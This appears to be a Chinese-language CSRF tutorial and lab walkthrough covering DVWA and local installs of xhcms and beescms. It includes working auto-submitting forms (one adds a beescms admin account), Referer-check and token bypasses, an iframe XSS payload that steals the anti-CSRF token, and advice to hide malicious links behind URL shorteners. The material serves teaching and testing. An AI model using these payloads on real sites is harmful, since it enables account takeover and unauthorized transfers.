摘要

CSRF跨站请求伪造漏洞

漏洞相关信息

漏洞成因

受害者在未退出重要网站的情况下出于好奇心或者其他心理访问了某个恶意链接,而这个恶意链接指向某个网站,比如受害者刚刚登录不久的银行网站,就可以在受害者不知情的情况下进行转账交易。
当然,这是个人理解,官方一点的如下

主要成因:浏览器cookie不过期,不关闭浏览器或退出登录,都会默认为已登录状态
次要成因:对请求合法性验证不严格

漏洞定义

CSRF,即Cross Site Request Forgery​,译为跨站点请求伪造,看起来似乎与XSS(跨站脚本攻击)是相像的,但两者实际上大相径庭,XSS是获取到网站信任用户的具体信息,进行攻击,而而CSRF则通过伪装成受信任用户进行攻击。对CSRF用一个简单的事例来进行讲解

1
2
3
4
1、老八访问www.bank.com,登录后存入100元
2、老八存过钱后未关闭网站,浏览其他网站时发现有一个名字为3060显卡100元处理的广告,老八点击访问
3、访问后发现什么也没有,老八大失所望,悻悻的离开网站
4、老八再次查看银行时,发现刚刚的钱被转走了

这个过程是怎么实现的呢,我们看一下这个链接的内容

1
2
3
4
5
6
7
8
9
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://www.bank.com" method="POST">
<input type="hidden" name="money" value="100" />
<input type="hidden" name="submit" value="submit" />
</form>
</body>
</html>

可以发现当访问它的时候,它自动进行了一个表单的提交,将100块钱进行了转出,而表面是什么也没有的(这个例子存在部分小问题,比如代码中没以有具体写转向了哪里,但不影响整体理解),这个时候老八刚刚存入的100就不翼而飞了。流程图的话,如下所示

漏洞危害

1、篡改目标网站上的用户数据
2、盗取用户隐私数据
3、作为其他攻击向量的辅助攻击手法
4、 传播CSRF蠕虫

常见类型

GET上传

针对GET类型,这个比较简单,我们只需要构造一个虚假链接,在里面添上我们的payload即可,构造如下所示
假设银行转账界面为877.php,代码如下所示

1
2
3
4
5
<?php 
$money=$_GET['money'];
$user=$_GET['user'];
print("向 $user 转账成功,金额为 $money");
?>

此时攻击者构造恶意界面为1.php,具体代码如下

1
2
3
<html>
<a href="http://127.0.0.1:8011/csrf/877.php?user=hacker&money=100">杀马特团长的故事</a>
</html>

此时我们访问1.php

当受害者出于好奇访问此链接时

1
2
<img src="http://bank.com/?money=100&user=hacker" style="display:none;"/>
//这里的style="display:none;"指的是隐藏元素

POST上传

对于POST类型上传的,我们这个时候需要构造一个表单来进行提交,这个相对GET是比较麻烦的,不过我们这里可以简化一下,使用burpsuite工具来迅速构造出对应的表单,举例如下
银行转账界面仍877.php,其代码如下所示

1
2
3
4
5
<?php 
$money=$_POST['money'];
$user=$_POST['user'];
print("向 $user 转账成功,金额为 $money");
?>

我们访问这个界面,自己先赋值一下,获取到参数,然后抓包

构造poc

此时当用户点击这个恶意链接时,界面如下:

token验证

当随机生成token时,有两种方式,一种是通过xss获取当前界面的token,与此同时构造恶意链接,另一种是直接利用burpsuite的CSRF token插件来进行自动更新token

攻击思路

一般对于GET型,大多是利用标签来进行攻击,这个方式是有效且快捷的,因此我们这里先大致罗列一下常用的标签
而针对POST型的话,一般都是构造表单,这个的话我们就利用bp的CSRF PoC就可以生成对应的表单。
下面来大致讲解一下GET型时可以利用的标签

常用标签

超链接标签

1
<a>标签:<a href="http://xxx.com/?user=xx&money=xx"></a>

img标签

1
<img>标签: <img src="http://xxx.com/?user=xx&money=xx">

iframe标签

1
<iframe>标签:<iframe src="http://xxx.com/?user=xx&moeny=xx">

由于前两个在之前示例中已经讲过,所以这里不再举例子,这里的话讲解一下iframe标签,
先创建一个银行界面(GET型),命名为877.php,内容如下

1
2
3
4
5
<?php 
$money=$_GET['money'];
$user=$_GET['user'];
print("向 $user 转账成功,金额为 $money");
?>

此时我们构造恶意链接,命名为1.php,内容如下

1
2
3
4
5
<html>
<body>
<iframe src="http://127.0.0.1:8080/html/877.php?user=hacker&money=1000" style= "display:none";>
</body>
</html>

当我们访问1.php的时候发现全是空白,这是因为style= "display:none";​隐藏了元素,当我们把这个去掉的时候
可以发现成功转账了

绕过思路

绕过Referer检测

有时候可能会遇到检测Referer的情况,这个时候也就要求是同域的,不是同域的话就不符合条件,就会被PASS掉,什么是同域呢,简单的说一下,假设你的ip为124.138.124.168​,此时检测Referer头时,它就会是你的ip加上你访问的文件名,这时候其实也就是要求你的ip必须是服务端的才行。但是呢,道高一尺魔高一丈,当检验的不是那么严谨的时候,这个Referer也是可以进行绕过的。示例如下
我们的银行转账界面877.php,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
if( isset( $_REQUEST[ 'user' ] ) ) {
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
$user=$_REQUEST['user'];
}
}
else{
exit("hacker!!!");
}
if( isset( $_REQUEST[ 'money' ] ) ) {
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
$money=$_REQUEST['money'];
}
}
else{
exit("hacker!!!");
}
print("向 $user 转账成功,金额为 $money");
?>

先读懂代码,首先了解一下stripos​函数

1
2
3
stripos:查找字符串首次出现的位置(不区分大小写)
mixed stripos( string $haystack, string $needle)
返回在字符串 haystack 中 needle 首次出现的数字位置。

然后我们看一下这个函数里的变量
$_SERVER[ 'HTTP_REFERER' ]​的话就是获取Referer头,识别请求来源
这个$_SERVER[ 'SERVER_NAME' ]​其实也就是$_SERVER['SERVER_NAME'] : $_SERVER['SERVER_PORT']​,可以理解为

1
$_SERVER['HTTP_HOST'] = $_SERVER['SERVER_NAME'] : $_SERVER['SERVER_PORT']

这里的话其实就是获取个ip地址,然后呢,看与Referer头中是否一致,一致的话就传值,否则就PASS,我们这里抓个银行界面的包

我这里的话看起来是一致的,是因为我是本地测试,导致请求界面与后端界面一致,而实际情况中我们想实现CSRF的话,Referer肯定与Host是不一致的,那此时检测Referer头与Host不一致,就会被PASS,但是我们细细的想一下,我们本机的Referer头包括我们的文件名,我们的文件名是可控的,如果我们修改文件名,让它与Host保持一致,此时是不是就也满足了检测条件呢,我们测试一下

1
2
3
4
5
6
<?php
if( stripos( "http://133.223.464.532/168.134.132.166.php" ,"168.134.132.166") !== false ) {
//http://133.223.464.532/168.134.132.166.php是我们的Referer头,168.134.132.166是Host。
print("成功绕过");
}
?>

所以我们这里的话,就可以通过更换文件名,来实现绕过

转账成功,实现CSRF

绕过Token

一个站点使用了CSRF token不代表这个token是有效验证对应请求操作的,可以尝试如下方法绕过CSRF的token保护。

1、删除token参数
2、发送空token

当不发生Token时也可以正常请求数据,这种逻辑错误有时候也是可以遇见的,应用程序有时会在token存在的时候或者token参数不为空的时候检查token的有效性,此时我们就可以尝试上面的两种方法绕过
示例
正常的请求

1
2
3
POST /bank.com
POST body:
user=hacker&money=100&token=283caef0757a4ac9841dasb9ccd8b86a

我们可以尝试这样请求

1
2
3
POST /bank.com
POST body:
user=hacker&money=100&token=

或者这样

1
2
3
POST /bank.com
POST body:
user=hacker&money=100

此时就可能成功绕过

CSRF漏洞挖掘

CSRF的话,肯定是利用管理员的权限来进行某些操作,所以我们在进行代码审计的时候,可以关注一下后台文件,看是否存在CSRF漏洞

xhcms

登录后台界面,发现有删除文章的权限

抓删除文件时的包
发送到重放模块,利用bp自带的CSRF poc​进行恶意语句构造

可以发现这里是未检测token的,因此是极有可能存在CSRF的,我们复制到文件中并命名为xhcms.html
点击访问

访问

注意:这个是在同一个浏览器下的情况,此时只有这个浏览器上仍然存有管理员的信息,能够直接执行语句,当换到其他浏览器时,就无法执行删除语句,访问会跳转到登录界面

beescms

登录后台,发现有添加管理员界面,随便输入一下

抓包,发送到重放模块

未发现Token,可能存在CSRF,这个时候我们自定义信息,接下来利用bp构造poc,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:8080/beescms/admin/admin_admin.php?nav=list_admin_user&admin_p_nav=user" method="POST" enctype="multipart/form-data">
<input type="hidden" name="admin_name" value="1231" />
<input type="hidden" name="admin_password" value="1231" />
<input type="hidden" name="admin_password2" value="1231" />
<input type="hidden" name="admin_nich" value="1231" />
<input type="hidden" name="purview" value="1" />
<input type="hidden" name="admin_admin" value="1231" />
<input type="hidden" name="admin_mail" value="1@qq.com " />
<input type="hidden" name="admin_tel" value="1234" />
<input type="hidden" name="is_disable" value="0" />
<input type="hidden" name="action" value="save_admin" />
<input type="hidden" name="submit" value="确定" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


复制到文件中并命名为beescms.html

管理员添加成功

靶场实战

DVWA

low

发现输入修改密码界面,随便输入一下尝试

发现url变化,说明是GET传参,我们可以进行自己构造payload

1
http://127.0.0.1:8080/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

访问

直接修改了密码,这里的话可见应该是没有什么防护的,但是这个的话在实战中也太明显了,就算构造出了链接,受害者一眼就能看出来这个是修改密码的,也就意味着无法实现CSRF了,这个时候我们该怎么办呢,可以用短链接来缩短链接,给它伪装一下,短链接生成网址
https://www.duanlianjie.net/

访问这个网址,观察url变化

成功修改密码。
此时来看一下源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

不难看出代码中的过滤方式是mysqli_real_escape_string​函数,这个函数的作用是转义特殊字符​,那么在这里的话它对CSRF是没有影响的,这里的话其实还有一种攻击方式,就是利用burpsuite自带的CSRF poc进行构造,具体过程如下
我们先随便输入一下,然后抓包

利用burpsuite自带的CSRF工具进行构造
放入html文件中,而后访问(此时携带了刚刚在dvwa中的cookie)

成功修改

medium

看一下源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

添加了Refeerer头检验,这个的话是要求来自同一个域,其实也就是要求访问的必须是本地的,但Referer​请求头是可以伪造的,具体过程如下
简单输入抓包

这里的话可以看见本地的Referer是127.0.0.1,和Host的是一致的,但正常的情况下是不一致的,Host一般是受害者的,而Referer来源于攻击者

比如Host的地址为192.134.164.132,这个时候攻击者的ip肯定是与Host的不同的,假设是186.123.134.265,这个时候如果请求的话,Referer是http://186.123.134.265,就会因为Referer中不包含192.134.164.132 而无法修改密码,但如果我们文件名包含这个Host地址,那Referer就会变成http://186.123.134.265/192.134.164.132.html,此时就包含了Host地址,就可以成功修改密码,实现CSRF

说了这么多,我们现在来自己进行测试一下,利用burpsuite构造出POC

构造一个html文件,然后将内容复制进去

点击访问


成功修改密码,实现CSRF

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以发现多了这个generateSessionToken()​函数,这个是用来生成token的,具体介绍如下

1
2
Anti-CSRF token机制,用户每次访问该页面时,服务器都会返回一个随机的token(generateSessionToken();),向服务器发起请求时,
需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

这里的话我们有两种方式

方法一

借助XSS来获取token,这个网页中有一个high的xss漏洞,如果我们通过xss得到token,此时就可以按照之前的方法来进行CSRF了,打开存储型XSS,发现这里限制了输入长度,F12修改一下即可

测试后发现过滤了script,这里的话我们可用其他标签获取token

1
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

输入后提交,刷新界面就会出现此时的token
这时候按照之前的方法进行CSRF即可,在提交的时候额外带上一个CSRF就可以了

方法二

正常情况下抓包后发包,由于token更新,这个已经失效,访问会变成302
这时候利用burpsuite中的CSRF插件来进行攻击(这个插件可以自动更新token)。在拓展中找到CSRF Token Tracker
安装一下,打开它添加Host和对应的token名
此时再重放

成功修改密码,实现CSRF